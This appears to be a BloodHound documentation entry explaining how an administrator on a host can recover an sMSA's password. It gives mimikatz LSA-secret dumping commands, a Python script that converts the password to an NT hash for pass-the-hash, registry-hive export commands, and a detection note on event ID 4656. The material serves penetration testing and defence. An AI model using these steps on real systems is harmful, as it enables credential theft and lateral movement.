Applies to BloodHound Enterprise and CE An actor with administrative privileges on the computer can retrieve the sMSA’s password by dumping LSA secrets.

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Abuse Info

From an elevated command prompt on the computer where the sMSA resides, run mimikatz then execute the following commands: 
privilege::debug
token::elevate
lsadump::secrets
In the output, find _SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_ suffixed by the name of the targeted sMSA. The next line contains cur/hex : followed with the sMSA’s password hex-encoded. To use this password, its NT hash must be calculated. This can be done using a small python script: 
# nt.py
import sys, hashlib

pw_hex = sys.argv[1]
nt_hash = hashlib.new('md4', bytes.fromhex(pw_hex)).hexdigest()

print(nt_hash)
Execute it like so: 
python3 nt.py 35f3e1713d61...
To authenticate as the sMSA, leverage pass-the-hash. Alternatively, to avoid executing mimikatz on the host, you can save a copy of the SYSTEM and SECURITY registry hives from an elevated prompt: 
reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY
Transfer the files named SYSTEM and SECURITY that were saved at %temp% to another computer where mimikatz can be safely executed. On this other computer, run mimikatz from a command prompt then execute the following command to obtain the hex-encoded password: 
lsadump::secrets /system:C:\path\to\file\SYSTEM /security:C:\path\to\file\SECURITY

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Opsec Considerations

Access to registry hives can be monitored and alerted via event ID 4656 (A handle to an object was requested).

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References